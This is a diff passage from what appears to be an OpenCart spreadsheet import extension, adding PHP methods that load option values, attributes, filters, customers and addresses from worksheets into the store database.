+ $sql .= "( $option_value_id, $option_id, $sort_order );";
+ }
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."option_value_description` (`option_value_id`, `language_id`, `option_id`, `name`) ";
+ $sql .= "VALUES ( $option_value_id, $language_id, $option_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteOptionValues() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_value`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_value_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteOptionValue( $option_value_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."option_value` WHERE option_value_id='".(int)$option_value_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."option_value_description` WHERE option_value_id='".(int)$option_value_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreOptionValueCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadOptionValues( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'OptionValues' );
+ if ($data==null) {
+ return;
+ }
+
+ // check for the existence of option_value.image field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old option values
+ if (!$incremental) {
+ $this->deleteOptionValues();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $option_value_id = trim($this->getCell($data,$i,$j++));
+ if ($option_value_id=='') {
+ continue;
+ }
+ $option_id = trim($this->getCell($data,$i,$j++));
+ if ($option_id=='') {
+ continue;
+ }
+ if ($exist_image) {
+ $image = $this->getCell($data,$i,$j++,'');
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $option_value = array();
+ $option_value['option_value_id'] = $option_value_id;
+ $option_value['option_id'] = $option_id;
+ if ($exist_image) {
+ $option_value['image'] = $image;
+ }
+ $option_value['sort_order'] = $sort_order;
+ $option_value['names'] = $names;
+ if ($incremental) {
+ $this->deleteOptionValue( $option_value_id );
+ }
+ $this->moreOptionValueCells( $i, $j, $data, $option_value );
+ $this->storeOptionValueIntoDatabase( $option_value, $languages, $exist_image );
+ }
+ }
+
+
+ protected function storeAttributeGroupIntoDatabase( &$attribute_group, &$languages ) {
+ $attribute_group_id = $attribute_group['attribute_group_id'];
+ $sort_order = $attribute_group['sort_order'];
+ $names = $attribute_group['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_group` (`attribute_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $attribute_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_group_description` (`attribute_group_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $attribute_group_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteAttributeGroups() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_group`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_group_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAttributeGroup( $attribute_group_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_group` WHERE attribute_group_id='".(int)$attribute_group_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_group_description` WHERE attribute_group_id='".(int)$attribute_group_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAttributeGroupCells( $i, &$j, &$worksheet, &$attribute_group ) {
+ return;
+ }
+
+
+ protected function uploadAttributeGroups( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'AttributeGroups' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old attribute groups
+ if (!$incremental) {
+ $this->deleteAttributeGroups();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $attribute_group_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $attribute_group = array();
+ $attribute_group['attribute_group_id'] = $attribute_group_id;
+ $attribute_group['sort_order'] = $sort_order;
+ $attribute_group['names'] = $names;
+ if ($incremental) {
+ $this->deleteAttributeGroup( $attribute_group_id );
+ }
+ $this->moreAttributeGroupCells( $i, $j, $data, $attribute_group );
+ $this->storeAttributeGroupIntoDatabase( $attribute_group, $languages );
+ }
+ }
+
+
+ protected function storeAttributeIntoDatabase( &$attribute, &$languages ) {
+ $attribute_id = $attribute['attribute_id'];
+ $attribute_group_id = $attribute['attribute_group_id'];
+ $sort_order = $attribute['sort_order'];
+ $names = $attribute['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."attribute` (`attribute_id`,`attribute_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $attribute_id, $attribute_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."attribute_description` (`attribute_id`, `language_id`, `name`) ";
+ $sql .= "VALUES ( $attribute_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteAttributes() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."attribute_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAttribute( $attribute_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."attribute` WHERE attribute_id='".(int)$attribute_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."attribute_description` WHERE attribute_id='".(int)$attribute_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAttributeCells( $i, &$j, &$worksheet, &$attribute ) {
+ return;
+ }
+
+
+ protected function uploadAttributes( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Attributes' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old attributes
+ if (!$incremental) {
+ $this->deleteAttributes();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $attribute_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_id=='') {
+ continue;
+ }
+ $attribute_group_id = trim($this->getCell($data,$i,$j++));
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $attribute = array();
+ $attribute['attribute_id'] = $attribute_id;
+ $attribute['attribute_group_id'] = $attribute_group_id;
+ $attribute['sort_order'] = $sort_order;
+ $attribute['names'] = $names;
+ if ($incremental) {
+ $this->deleteAttribute( $attribute_id );
+ }
+ $this->moreAttributeCells( $i, $j, $data, $attribute );
+ $this->storeAttributeIntoDatabase( $attribute, $languages );
+ }
+ }
+
+
+ protected function storeFilterGroupIntoDatabase( &$filter_group, &$languages ) {
+ $filter_group_id = $filter_group['filter_group_id'];
+ $sort_order = $filter_group['sort_order'];
+ $names = $filter_group['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."filter_group` (`filter_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $filter_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."filter_group_description` (`filter_group_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $filter_group_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteFilterGroups() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_group`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_group_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteFilterGroup( $filter_group_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."filter_group` WHERE filter_group_id='".(int)$filter_group_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."filter_group_description` WHERE filter_group_id='".(int)$filter_group_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreFilterGroupCells( $i, &$j, &$worksheet, &$filter_group ) {
+ return;
+ }
+
+
+ protected function uploadFilterGroups( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'FilterGroups' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old filter groups
+ if (!$incremental) {
+ $this->deleteFilterGroups();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $filter_group_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $filter_group = array();
+ $filter_group['filter_group_id'] = $filter_group_id;
+ $filter_group['sort_order'] = $sort_order;
+ $filter_group['names'] = $names;
+ if ($incremental) {
+ $this->deleteFilterGroup( $filter_group_id );
+ }
+ $this->moreFilterGroupCells( $i, $j, $data, $filter_group );
+ $this->storeFilterGroupIntoDatabase( $filter_group, $languages );
+ }
+ }
+
+
+ protected function storeFilterIntoDatabase( &$filter, &$languages ) {
+ $filter_id = $filter['filter_id'];
+ $filter_group_id = $filter['filter_group_id'];
+ $sort_order = $filter['sort_order'];
+ $names = $filter['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."filter` (`filter_id`,`filter_group_id`,`sort_order`) VALUES ";
+ $sql .= "( $filter_id, $filter_group_id, $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."filter_description` (`filter_id`, `language_id`, `filter_group_id`, `name`) ";
+ $sql .= "VALUES ( $filter_id, $language_id, $filter_group_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."filter_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteFilter( $filter_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."filter` WHERE filter_id='".(int)$filter_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."filter_description` WHERE filter_id='".(int)$filter_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreFilterCells( $i, &$j, &$worksheet, &$filter ) {
+ return;
+ }
+
+
+ protected function uploadFilters( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Filters' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old filters
+ if (!$incremental) {
+ $this->deleteFilters();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $filter_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_id=='') {
+ continue;
+ }
+ $filter_group_id = trim($this->getCell($data,$i,$j++));
+ if ($filter_group_id=='') {
+ continue;
+ }
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $filter = array();
+ $filter['filter_id'] = $filter_id;
+ $filter['filter_group_id'] = $filter_group_id;
+ $filter['sort_order'] = $sort_order;
+ $filter['names'] = $names;
+ if ($incremental) {
+ $this->deleteFilter( $filter_id );
+ }
+ $this->moreFilterCells( $i, $j, $data, $filter );
+ $this->storeFilterIntoDatabase( $filter, $languages );
+ }
+ }
+
+
+ protected function getAvailableCustomerIds() {
+ $sql = "SELECT `customer_id` FROM `".DB_PREFIX."customer`;";
+ $result = $this->db->query( $sql );
+ $customer_ids = array();
+ foreach ($result->rows as $row) {
+ $customer_ids[$row['customer_id']] = $row['customer_id'];
+ }
+ return $customer_ids;
+ }
+
+
+ protected function storeCustomerIntoDatabase( &$customer, $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $exist_approved ) {
+ $customer_id = $customer['customer_id'];
+ $customer_group_id = $customer['customer_group_id'];
+ $store_id = $customer['store_id'];
+ $firstname = $customer['firstname'];
+ $lastname = $customer['lastname'];
+ $email = $customer['email'];
+ $telephone = $customer['telephone'];
+ $fax = $customer['fax'];
+ $password = $customer['password'];
+ if ($exist_salt) {
+ $salt = $customer['salt'];
+ }
+ $cart = $customer['cart'];
+ $wishlist = $customer['wishlist'];
+ $wishlist = ((strtoupper($wishlist)=="TRUE") || (strtoupper($wishlist)=="YES") || (strtoupper($wishlist)=="ENABLED")) ? 1 : 0;
+ $newsletter = $customer['newsletter'];
+ $newsletter = ((strtoupper($newsletter)=="TRUE") || (strtoupper($newsletter)=="YES") || (strtoupper($newsletter)=="ENABLED")) ? 1 : 0;
+ $address_id = '0';
+ if ($exist_custom_field) {
+ $custom_field = $customer['custom_field'];
+ }
+ $ip = $customer['ip'];
+ $status = $customer['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+ if ($exist_approved) {
+ $approved = $customer['approved'];
+ $approved = ((strtoupper($approved)=="TRUE") || (strtoupper($approved)=="YES") || (strtoupper($approved)=="ENABLED")) ? 1 : 0;
+ }
+ if ($exist_safe) {
+ $safe = $customer['safe'];
+ $safe = ((strtoupper($safe)=="TRUE") || (strtoupper($safe)=="YES") || (strtoupper($safe)=="ENABLED")) ? 1 : 0;
+ }
+ if ($exist_token) {
+ $token = $customer['token'];
+ }
+ if ($exist_code) {
+ $code = $customer['code'];
+ }
+ $date_added = $customer['date_added'];
+
+ $sql = "INSERT INTO `".DB_PREFIX."customer` ";
+ $sql .= "(`customer_id`,`customer_group_id`,`store_id`,`firstname`,`lastname`,";
+ $sql .= "`email`,`telephone`,`fax`,`password`,";
+ if ($exist_salt) {
+ $sql .= "`salt`,";
+ }
+ $sql .= "`cart`,`wishlist`,`newsletter`,`address_id`,";
+ if ($exist_custom_field) {
+ $sql .= "`custom_field`,";
+ }
+ $sql .= "`ip`,`status`,";
+ if ($exist_approved) {
+ $sql .= "`approved`,";
+ }
+ if ($exist_safe) {
+ $sql .= "`safe`,";
+ }
+ if ($exist_token) {
+ $sql .= "`token`,";
+ }
+ if ($exist_code) {
+ $sql .= "`code`,";
+ }
+ $sql .= "`date_added`) VALUES ";
+ $sql .= "( $customer_id, $customer_group_id, $store_id, ";
+ $sql .= "'".$this->db->escape($firstname)."', ";
+ $sql .= "'".$this->db->escape($lastname)."', ";
+ $sql .= "'".$this->db->escape($email)."', ";
+ $sql .= "'".$this->db->escape($telephone)."', ";
+ $sql .= "'".$this->db->escape($fax)."', ";
+ $sql .= "'".$this->db->escape($password)."', ";
+ if ($exist_salt) {
+ $sql .= "'".$this->db->escape($salt)."', ";
+ }
+ $sql .= "'".$this->db->escape($cart)."', ";
+ $sql .= "$wishlist, $newsletter, $address_id, ";
+ if ($exist_custom_field) {
+ $sql .= "'".$this->db->escape($custom_field)."', ";
+ }
+ $sql .= "'".$this->db->escape($ip)."', ";
+ $sql .= "$status, ";
+ if ($exist_approved) {
+ $sql .= "$approved, ";
+ }
+ if ($exist_safe) {
+ $sql .= "$safe, ";
+ }
+ if ($exist_token) {
+ $sql .= "'".$this->db->escape($token)."', ";
+ }
+ if ($exist_code) {
+ $sql .= "'".$this->db->escape($code)."', ";
+ }
+ $sql .= "'".$this->db->escape($date_added)."');";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCustomers() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."customer`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCustomer( $customer_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."customer` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCustomerCells( $i, &$j, &$worksheet, &$customer ) {
+ return;
+ }
+
+
+ protected function uploadCustomers( &$reader, $incremental, &$available_customer_ids=array() ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return;
+ }
+
+ // Some fields are only available in certain Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ // get customer_group ids indexed by customer group names
+ $customer_group_ids = $this->getCustomerGroupIds();
+
+ // if incremental then find current customer IDs else delete all old customers
+ $available_customer_ids = array();
+ if ($incremental) {
+ $old_customer_ids = $this->getAvailableCustomerIds();
+ } else {
+ $this->deleteCustomers();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $customer_id = trim($this->getCell($data,$i,$j++));
+ if ($customer_id=="") {
+ continue;
+ }
+ $customer_group = trim($this->getCell($data,$i,$j++));
+ $customer_group_id = isset($customer_group_ids[$customer_group]) ? $customer_group_ids[$customer_group] : '0';
+ $store_id = $this->getCell($data,$i,$j++,'0');
+ $firstname = trim($this->getCell($data,$i,$j++));
+ $lastname = trim($this->getCell($data,$i,$j++));
+ $email = trim($this->getCell($data,$i,$j++));
+ $telephone = trim($this->getCell($data,$i,$j++));
+ $fax = trim($this->getCell($data,$i,$j++));
+ $password = trim($this->getCell($data,$i,$j++));
+ if ($exist_salt) {
+ $salt = trim($this->getCell($data,$i,$j++));
+ }
+ if ($password == '') {
+ // generate a default password 'opencart'
+ if ($exist_salt) {
+ if ($salt == '') {
+ $salt = version_compare(VERSION,'2.1.0.0','<') ? substr(md5(uniqid(rand(), true)), 0, 9) : token(9);
+ }
+ $password = sha1($salt . sha1($salt . sha1('opencart')));
+ } else {
+ $password = md5('opencart');
+ }
+ }
+ $cart = trim($this->getCell($data,$i,$j++));
+ $wishlist = trim($this->getCell($data,$i,$j++));
+ $newsletter = $this->getCell($data,$i,$j++,'no');
+ if ($exist_custom_field) {
+ $custom_field = trim($this->getCell($data,$i,$j++));
+ }
+ $ip = trim($this->getCell($data,$i,$j++));
+ $status = $this->getCell($data,$i,$j++,'true');
+ if ($exist_approved) {
+ $approved = $this->getCell($data,$i,$j++,'true');
+ }
+ if ($exist_safe) {
+ $safe = $this->getCell($data,$i,$j++,'true');
+ }
+ if ($exist_token) {
+ $token = trim($this->getCell($data,$i,$j++));
+ }
+ if ($exist_code) {
+ $code = trim($this->getCell($data,$i,$j++));
+ }
+ $date_added = trim($this->getCell($data,$i,$j++));
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+
+ $customer = array();
+ $customer['customer_id'] = $customer_id;
+ $customer['customer_group_id'] = $customer_group_id;
+ $customer['store_id'] = $store_id;
+ $customer['firstname'] = $firstname;
+ $customer['lastname'] = $lastname;
+ $customer['email'] = $email;
+ $customer['telephone'] = $telephone;
+ $customer['fax'] = $fax;
+ $customer['password'] = $password;
+ if ($exist_salt) {
+ $customer['salt'] = $salt;
+ }
+ $customer['cart'] = $cart;
+ $customer['wishlist'] = $wishlist;
+ $customer['newsletter'] = $newsletter;
+ if ($exist_custom_field) {
+ $customer['custom_field'] = $custom_field;
+ }
+ $customer['ip'] = $ip;
+ $customer['status'] = $status;
+ if ($exist_approved) {
+ $customer['approved'] = $approved;
+ }
+ if ($exist_safe) {
+ $customer['safe'] = $safe;
+ }
+ if ($exist_token) {
+ $customer['token'] = $token;
+ }
+ if ($exist_code) {
+ $customer['code'] = $code;
+ }
+ $customer['date_added'] = $date_added;
+ if ($incremental) {
+ if ($old_customer_ids) {
+ if (in_array((int)$customer_id,$old_customer_ids)) {
+ $this->deleteCustomer( $customer_id );
+ }
+ }
+ }
+ $available_customer_ids[$customer_id] = $customer_id;
+ $this->moreCustomerCells( $i, $j, $data, $customer );
+ $this->storeCustomerIntoDatabase( $customer, $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $exist_approved );
+ }
+ }
+
+
+ protected function getAvailableCountryIds() {
+ $sql = "SELECT country_id, `name` AS country_name FROM `".DB_PREFIX."country`";
+ $query = $this->db->query( $sql );
+ $country_ids = array();
+ foreach ($query->rows as $row) {
+ $country_id = $row['country_id'];
+ $country = $row['country_name'];
+ $country_ids[$country] = $country_id;
+ }
+ return $country_ids;
+ }
+
+
+ protected function getAvailableZoneIds() {
+ $sql = "SELECT c.country_id, z.zone_id, c.`name` AS country_name, z.`name` AS zone_name ";
+ $sql .= "FROM `".DB_PREFIX."country` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."zone` z ON z.country_id=c.country_id";
+ $query = $this->db->query( $sql );
+ $zone_ids = array();
+ foreach ($query->rows as $row) {
+ $country_id = $row['country_id'];
+ $country = $row['country_name'];
+ $zone_id = ($row['zone_id']) ? $row['zone_id'] : 0;
+ $zone = ($row['zone_name']) ? $row['zone_name'] : '';
+ $zone_ids[$country][$zone] = $zone_id;
+ }
+ return $zone_ids;
+ }
+
+
+ protected function storeAddressIntoDatabase( &$address, $exist_company_id, $exist_tax_id, $exist_custom_field ) {
+ $customer_id = $address['customer_id'];
+ $firstname = $address['firstname'];
+ $lastname = $address['lastname'];
+ $company = $address['company'];
+ if ($exist_company_id) {
+ $company_id = $address['company_id'];
+ }
+ if ($exist_tax_id) {
+ $tax_id = $address['tax_id'];
+ }
+ $address_1 = $address['address_1'];
+ $address_2 = $address['address_2'];
+ $city = $address['city'];
+ $postcode = $address['postcode'];
+ $country_id = $address['country_id'];
+ $zone_id = $address['zone_id'];
+ if ($exist_custom_field) {
+ $custom_field = $address['custom_field'];
+ }
+ $default = $address['default'];
+ $default = ((strtoupper($default)=="TRUE") || (strtoupper($default)=="YES") || (strtoupper($default)=="ENABLED")) ? 1 : 0;
+ $sql = "INSERT INTO `".DB_PREFIX."address` ";
+ $sql .= "(`customer_id`,`firstname`,`lastname`,`company`,";
+ if ($exist_company_id) {
+ $sql .= "`company_id`,";
+ }
+ if ($exist_tax_id) {
+ $sql .= "`tax_id`,";
+ }
+ if ($exist_custom_field) {
+ $sql .= "`address_1`,`address_2`,`city`,`postcode`,`country_id`,`zone_id`,`custom_field`) ";
+ } else {
+ $sql .= "`address_1`,`address_2`,`city`,`postcode`,`country_id`,`zone_id`) ";
+ }
+ $sql .= "VALUES ($customer_id, ";
+ $sql .= "'".$this->db->escape($firstname)."', ";
+ $sql .= "'".$this->db->escape($lastname)."', ";
+ $sql .= "'".$this->db->escape($company)."', ";
+ if ($exist_company_id) {
+ $sql .= "'".$this->db->escape($company_id)."', ";
+ }
+ if ($exist_tax_id) {
+ $sql .= "'".$this->db->escape($tax_id)."', ";
+ }
+ $sql .= "'".$this->db->escape($address_1)."', ";
+ $sql .= "'".$this->db->escape($address_2)."', ";
+ $sql .= "'".$this->db->escape($city)."', ";
+ $sql .= "'".$this->db->escape($postcode)."', ";
+ if ($exist_custom_field) {
+ $sql .= "$country_id, $zone_id, '".$this->db->escape($custom_field)."'";
+ } else {
+ $sql .= "$country_id, $zone_id";
+ }
+ $sql .= ");";
+ $this->db->query( $sql );
+ if ($default) {
+ $address_id = $this->db->getLastId();
+ $sql = "UPDATE `".DB_PREFIX."customer` SET address_id='".(int)$address_id."' WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteAddresses() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."address`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAddress( $customer_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."address` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedAddresses( &$unlisted_customer_ids ) {
+ foreach ($unlisted_customer_ids as $customer_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."address` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
